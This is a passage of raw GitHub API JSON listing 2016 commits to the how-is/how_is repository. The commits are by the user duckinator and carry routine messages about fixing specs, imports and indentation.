sers/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"b2d9b9421defdc67a629e8339b042e2d104d0312","url":"https://api.github.com/repos/how-is/how_is/commits/b2d9b9421defdc67a629e8339b042e2d104d0312","html_url":"https://github.com/how-is/how_is/commit/b2d9b9421defdc67a629e8339b042e2d104d0312"}]},{"sha":"b2d9b9421defdc67a629e8339b042e2d104d0312","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YjJkOWI5NDIxZGVmZGM2N2E2MjllODMzOWIwNDJlMmQxMDRkMDMxMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-08T01:14:06Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-08T01:14:06Z"},"message":"Fix spec.","tree":{"sha":"25293d83103767b17f7bb00510585c24a6f49b92","url":"https://api.github.com/repos/how-is/how_is/git/trees/25293d83103767b17f7bb00510585c24a6f49b92"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b2d9b9421defdc67a629e8339b042e2d104d0312","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b2d9b9421defdc67a629e8339b042e2d104d0312","html_url":"https://github.com/how-is/how_is/commit/b2d9b9421defdc67a629e8339b042e2d104d0312","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b2d9b9421defdc67a629e8339b042e2d104d0312/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"b981f9c4272000401e951d47ae341c5bc34ecff1","url":"https://api.github.com/repos/how-is/how_is/commits/b981f9c4272000401e951d47ae341c5bc34ecff1","html_url":"https://github.com/how-is/how_is/commit/b981f9c4272000401e951d47ae341c5bc34ecff1"}]},{"sha":"b981f9c4272000401e951d47ae341c5bc34ecff1","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Yjk4MWY5YzQyNzIwMDA0MDFlOTUxZDQ3YWUzNDFjNWJjMzRlY2ZmMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-08T01:11:42Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-08T01:11:42Z"},"message":"Use links stored by the Analysis class.","tree":{"sha":"d40a25399234d48917e9ac26b19f9a97a68807a3","url":"https://api.github.com/repos/how-is/how_is/git/trees/d40a25399234d48917e9ac26b19f9a97a68807a3"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b981f9c4272000401e951d47ae341c5bc34ecff1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b981f9c4272000401e951d47ae341c5bc34ecff1","html_url":"https://github.com/how-is/how_is/commit/b981f9c4272000401e951d47ae341c5bc34ecff1","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b981f9c4272000401e951d47ae341c5bc34ecff1/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"5f94b83cd054e211a92b64ce5799bb042bb63024","url":"https://api.github.com/repos/how-is/how_is/commits/5f94b83cd054e211a92b64ce5799bb042bb63024","html_url":"https://github.com/how-is/how_is/commit/5f94b83cd054e211a92b64ce5799bb042bb63024"}]},{"sha":"5f94b83cd054e211a92b64ce5799bb042bb63024","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NWY5NGI4M2NkMDU0ZTIxMWE5MmI2NGNlNTc5OWJiMDQyYmI2MzAyNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-08T01:09:57Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-08T01:09:57Z"},"message":"Include issues and pulls URL in JSON.","tree":{"sha":"1f5bb81e14b8b803bd7592df25642204a25a20e1","url":"https://api.github.com/repos/how-is/how_is/git/trees/1f5bb81e14b8b803bd7592df25642204a25a20e1"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/5f94b83cd054e211a92b64ce5799bb042bb63024","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/5f94b83cd054e211a92b64ce5799bb042bb63024","html_url":"https://github.com/how-is/how_is/commit/5f94b83cd054e211a92b64ce5799bb042bb63024","comments_url":"https://api.github.com/repos/how-is/how_is/commits/5f94b83cd054e211a92b64ce5799bb042bb63024/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"42d99a5d02ee0439bb1e0f3c4631dbc929a9f12e","url":"https://api.github.com/repos/how-is/how_is/commits/42d99a5d02ee0439bb1e0f3c4631dbc929a9f12e","html_url":"https://github.com/how-is/how_is/commit/42d99a5d02ee0439bb1e0f3c4631dbc929a9f12e"}]},{"sha":"42d99a5d02ee0439bb1e0f3c4631dbc929a9f12e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDJkOTlhNWQwMmVlMDQzOWJiMWUwZjNjNDYzMWRiYzkyOWE5ZjEyZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-08T01:05:55Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-08T01:05:55Z"},"message":"Fix issue_or_pr_summary().","tree":{"sha":"3ed2ba1fb59d11e5df23e1f8f3716ec1cf2b02af","url":"https://api.github.com/repos/how-is/how_is/git/trees/3ed2ba1fb59d11e5df23e1f8f3716ec1cf2b02af"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/42d99a5d02ee0439bb1e0f3c4631dbc929a9f12e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/42d99a5d02ee0439bb1e0f3c4631dbc929a9f12e","html_url":"https://github.com/how-is/how_is/commit/42d99a5d02ee0439bb1e0f3c4631dbc929a9f12e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/42d99a5d02ee0439bb1e0f3c4631dbc929a9f12e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"409f16eee47f1b16a402b9d7b0169a4540236b37","url":"https://api.github.com/repos/how-is/how_is/commits/409f16eee47f1b16a402b9d7b0169a4540236b37","html_url":"https://github.com/how-is/how_is/commit/409f16eee47f1b16a402b9d7b0169a4540236b37"}]},{"sha":"409f16eee47f1b16a402b9d7b0169a4540236b37","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDA5ZjE2ZWVlNDdmMWIxNmE0MDJiOWQ3YjAxNjlhNDU0MDIzNmIzNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-08T01:05:14Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-08T01:05:14Z"},"message":"Fix JSON imports.","tree":{"sha":"f7d07923b733e0916d6c69c10b9cafae577ade91","url":"https://api.github.com/repos/how-is/how_is/git/trees/f7d07923b733e0916d6c69c10b9cafae577ade91"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/409f16eee47f1b16a402b9d7b0169a4540236b37","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/409f16eee47f1b16a402b9d7b0169a4540236b37","html_url":"https://github.com/how-is/how_is/commit/409f16eee47f1b16a402b9d7b0169a4540236b37","comments_url":"https://api.github.com/repos/how-is/how_is/commits/409f16eee47f1b16a402b9d7b0169a4540236b37/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"17877a1624e7299db52bfa791fec4dc82bc7adca","url":"https://api.github.com/repos/how-is/how_is/commits/17877a1624e7299db52bfa791fec4dc82bc7adca","html_url":"https://github.com/how-is/how_is/commit/17877a1624e7299db52bfa791fec4dc82bc7adca"}]},{"sha":"17877a1624e7299db52bfa791fec4dc82bc7adca","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTc4NzdhMTYyNGU3Mjk5ZGI1MmJmYTc5MWZlYzRkYzgyYmM3YWRjYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-08T01:00:57Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-08T01:00:57Z"},"message":"Make issue_or_pr_summary() closer to what it should be.","tree":{"sha":"c593d5469a6566b841ce08ca5b10f52eb447405d","url":"https://api.github.com/repos/how-is/how_is/git/trees/c593d5469a6566b841ce08ca5b10f52eb447405d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/17877a1624e7299db52bfa791fec4dc82bc7adca","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/17877a1624e7299db52bfa791fec4dc82bc7adca","html_url":"https://github.com/how-is/how_is/commit/17877a1624e7299db52bfa791fec4dc82bc7adca","comments_url":"https://api.github.com/repos/how-is/how_is/commits/17877a1624e7299db52bfa791fec4dc82bc7adca/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"1c84a37a02f2fd72d504ca2e77aa352f34e7ea84","url":"https://api.github.com/repos/how-is/how_is/commits/1c84a37a02f2fd72d504ca2e77aa352f34e7ea84","html_url":"https://github.com/how-is/how_is/commit/1c84a37a02f2fd72d504ca2e77aa352f34e7ea84"}]},{"sha":"1c84a37a02f2fd72d504ca2e77aa352f34e7ea84","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MWM4NGEzN2EwMmYyZmQ3MmQ1MDRjYTJlNzdhYTM1MmYzNGU3ZWE4NA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-08T00:55:30Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-08T00:55:30Z"},"message":"Fix indentation.","tree":{"sha":"dc53d96e8f12cb7b975c87bf9af29dce6e7331e0","url":"https://api.github.com/repos/how-is/how_is/git/trees/dc53d96e8f12cb7b975c87bf9af29dce6e7331e0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/1c84a37a02f2fd72d504ca2e77aa352f34e7ea84","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/1c84a37a02f2fd72d504ca2e77aa352f34e7ea84","html_url":"https://github.com/how-is/how_is/commit/1c84a37a02f2fd72d504ca2e77aa352f34e7ea84","comments_url":"https://api.github.com/repos/how-is/how_is/commits/1c84a37a02f2fd72d504ca2e77aa352f34e7ea84/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d4acd01ab8a7fa6abdfc3c47fbae28ce1549051c","url":"https://api.github.com/repos/how-is/how_is/commits/d4acd01ab8a7fa6abdfc3c47fbae28ce1549051c","html_url":"https://github.com/how-is/how_is/commit/d4acd01ab8a7fa6abdfc3c47fbae28ce1549051c"}]},{"sha":"d4acd01ab8a7fa6abdfc3c47fbae28ce1549051c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDRhY2QwMWFiOGE3ZmE2YWJkZmMzYzQ3ZmJhZTI4Y2UxNTQ5MDUxYw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-08T00:50:27Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-08T00:52:18Z"},"message":"Fix another spec.","tree":{"sha":"dd0254944744ef59f00a00a402d67b5582ec97c4","url":"https://api.github.com/repos/how-is/how_is/git/trees/dd0254944744ef59f00a00a402d67b5582ec97c4"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d4acd01ab8a7fa6abdfc3c47fbae28ce1549051c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d4acd01ab8a7fa6abdfc3c47fbae28ce1549051c","html_url":"https://github.com/how-is/how_is/commit/d4acd01ab8a7fa6abdfc3c47fbae28ce1549051c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d4acd01ab8a7fa6abdfc3c47fbae28ce1549051c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"8670c8d5e98e3e00561d96ea9d998fdd666d5af7","url":"https://api.github.com/repos/how-is/how_is/commits/8670c8d5e98e3e00561d96ea9d998fdd666d5af7","html_url":"https://github.com/how-is/how_is/commit/8670c8d5e98e3e00561d96ea9d998fdd666d5af7"}]},{"sha":"8670c8d5e98e3e00561d96ea9d998fdd666d5af7","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODY3MGM4ZDVlOThlM2UwMDU2MWQ5NmVhOWQ5OThmZGQ2NjZkNWFmNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-08T00:45:50Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-08T00:50:37Z"},"message":"Fix some specs.","tree":{"sha":"edda4d7760bd573173efea5f4c659d402ebf5c72","url":"https://api.github.com/repos/how-is/how_is/git/trees/edda4d7760bd573173efea5f4c659d402ebf5c72"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8670c8d5e98e3e00561d96ea9d998fdd666d5af7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8670c8d5e98e3e00561d96ea9d998fdd666d5af7","html_url":"https://github.com/how-is/how_is/commit/8670c8d5e98e3e00561d96ea9d998fdd666d5af7","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8670c8d5e98e3e00561d96ea9d998fdd666d5af7/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"19df9c5b1f6f855056261cf829bf58978abf1aa3","url":"https://api.github.com/repos/how-is/how_is/commits/19df9c5b1f6f855056261cf829bf58978abf1aa3","html_url":"https://github.com/how-is/how_is/commit/19df9c5b1f6f855056261cf829bf58978abf1aa3"}]},{"sha":"19df9c5b1f6f855056261cf829bf58978abf1aa3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTlkZjljNWIxZjZmODU1MDU2MjYxY2Y4MjliZjU4OTc4YWJmMWFhMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-27T23:31:49Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-08T00:50:37Z"},"message":"[WIP]","tree":{"sha":"877fe08411a665f09446873c7c20c6f27171bf7f","url":"https://api.github.com/repos/how-is/how_is/git/trees/877fe08411a665f09446873c7c20c6f27171bf7f"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/19df9c5b1f6f855056261cf829bf58978abf1aa3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/19df9c5b1f6f855056261cf829bf58978abf1aa3","html_url":"https://github.com/how-is/how_is/commit/19df9c5b1f6f855056261cf829bf58978abf1aa3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/19df9c5b1f6f855056261cf829bf58978abf1aa3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.g